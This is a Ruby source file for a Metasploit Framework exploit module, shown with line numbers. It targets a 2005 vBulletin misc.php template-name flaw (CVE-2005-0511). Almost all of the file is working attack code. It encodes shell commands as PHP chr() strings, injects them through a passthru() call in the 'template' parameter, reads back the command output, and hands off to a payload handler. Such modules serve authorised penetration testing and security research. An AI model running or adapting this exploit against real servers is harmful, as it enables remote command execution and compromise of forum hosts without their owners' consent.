| 1 |
## |
|---|
| 2 |
# $Id$ |
|---|
| 3 |
## |
|---|
| 4 |
|
|---|
| 5 |
## |
|---|
| 6 |
# This file is part of the Metasploit Framework and may be subject to |
|---|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit |
|---|
| 8 |
# Framework web site for more information on licensing and terms of use. |
|---|
| 9 |
# http://metasploit.com/projects/Framework/ |
|---|
| 10 |
## |
|---|
| 11 |
|
|---|
| 12 |
|
|---|
| 13 |
require 'msf/core' |
|---|
| 14 |
|
|---|
| 15 |
module Msf |
|---|
| 16 |
|
|---|
| 17 |
class Exploits::Unix::Webapp::PhpvBulletinTemplateName < Msf::Exploit::Remote |
|---|
| 18 |
|
|---|
| 19 |
include Exploit::Remote::HttpClient |
|---|
| 20 |
|
|---|
| 21 |
# XXX This module needs an overhaul |
|---|
| 22 |
def initialize(info = {}) |
|---|
| 23 |
super(update_info(info, |
|---|
| 24 |
'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution', |
|---|
| 25 |
'Description' => %q{ |
|---|
| 26 |
This module exploits an arbitrary PHP code execution flaw in |
|---|
| 27 |
the vBulletin web forum software. This vulnerability is only |
|---|
| 28 |
present when the "Add Template Name in HTML Comments" option |
|---|
| 29 |
is enabled. All versions of vBulletin prior to 3.0.7 are |
|---|
| 30 |
affected. |
|---|
| 31 |
}, |
|---|
| 32 |
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ], |
|---|
| 33 |
'License' => BSD_LICENSE, |
|---|
| 34 |
'Version' => '$Revision$', |
|---|
| 35 |
'References' => [ |
|---|
| 36 |
[ 'BID', '12622'], |
|---|
| 37 |
[ 'OSVDB', '14047'], |
|---|
| 38 |
[ 'CVE', '2005-0511'], |
|---|
| 39 |
[ 'MIL', '81'], |
|---|
| 40 |
], |
|---|
| 41 |
'Privileged' => false, |
|---|
| 42 |
'Platform' => ['unix', 'solaris'], |
|---|
| 43 |
'Payload' => { |
|---|
| 44 |
'Space' => 512, |
|---|
| 45 |
'DisableNops' => true, |
|---|
| 46 |
'Keys' => ['cmd', 'cmd_bash'], |
|---|
| 47 |
}, |
|---|
| 48 |
'Targets' => [ ['Automatic', { }], ], |
|---|
| 49 |
'DefaultTarget' => 0, |
|---|
| 50 |
'DisclosureDate' => 'Feb 25 2005' |
|---|
| 51 |
)) |
|---|
| 52 |
|
|---|
| 53 |
|
|---|
| 54 |
register_options( |
|---|
| 55 |
[ |
|---|
| 56 |
OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']), |
|---|
| 57 |
], self.class |
|---|
| 58 |
) |
|---|
| 59 |
|
|---|
| 60 |
deregister_options( |
|---|
| 61 |
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. |
|---|
| 62 |
) |
|---|
| 63 |
end |
|---|
| 64 |
|
|---|
| 65 |
def go(command) |
|---|
| 66 |
wrapper = rand_text_alphanumeric(rand(128)+32) |
|---|
| 67 |
|
|---|
| 68 |
command = "echo #{wrapper};#{command};echo #{wrapper};" |
|---|
| 69 |
encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.') |
|---|
| 70 |
|
|---|
| 71 |
res = send_request_cgi({ |
|---|
| 72 |
'uri' => datastore['PATH'], |
|---|
| 73 |
'method' => 'GET', |
|---|
| 74 |
'vars_get' => |
|---|
| 75 |
{ |
|---|
| 76 |
'do' => "page", |
|---|
| 77 |
'template' => "{${passthru(#{encoded})}}" |
|---|
| 78 |
} |
|---|
| 79 |
}, 5) |
|---|
| 80 |
|
|---|
| 81 |
if (res and res.body) |
|---|
| 82 |
b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body) |
|---|
| 83 |
if b |
|---|
| 84 |
return b.captures[0] |
|---|
| 85 |
elsif datastore['HTTP::chunked'] == true |
|---|
| 86 |
b = /chunked Transfer-Encoding forbidden/.match(res.body) |
|---|
| 87 |
if b |
|---|
| 88 |
raise RuntimeError, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.' |
|---|
| 89 |
end |
|---|
| 90 |
end |
|---|
| 91 |
end |
|---|
| 92 |
|
|---|
| 93 |
return nil |
|---|
| 94 |
end |
|---|
| 95 |
|
|---|
| 96 |
def check |
|---|
| 97 |
response = go("echo ownable") |
|---|
| 98 |
if (!response.nil? and response =~ /ownable/sm) |
|---|
| 99 |
return Exploit::CheckCode::Vulnerable |
|---|
| 100 |
end |
|---|
| 101 |
return Exploit::CheckCode::Safe |
|---|
| 102 |
end |
|---|
| 103 |
|
|---|
| 104 |
def exploit |
|---|
| 105 |
response = go(payload.encoded) |
|---|
| 106 |
if response == nil |
|---|
| 107 |
print_status('exploit failed') |
|---|
| 108 |
else |
|---|
| 109 |
if response.length == 0 |
|---|
| 110 |
print_status('exploit successful') |
|---|
| 111 |
else |
|---|
| 112 |
print_status("Command returned #{response}") |
|---|
| 113 |
end |
|---|
| 114 |
handler |
|---|
| 115 |
end |
|---|
| 116 |
end |
|---|
| 117 |
end |
|---|
| 118 |
end |
|---|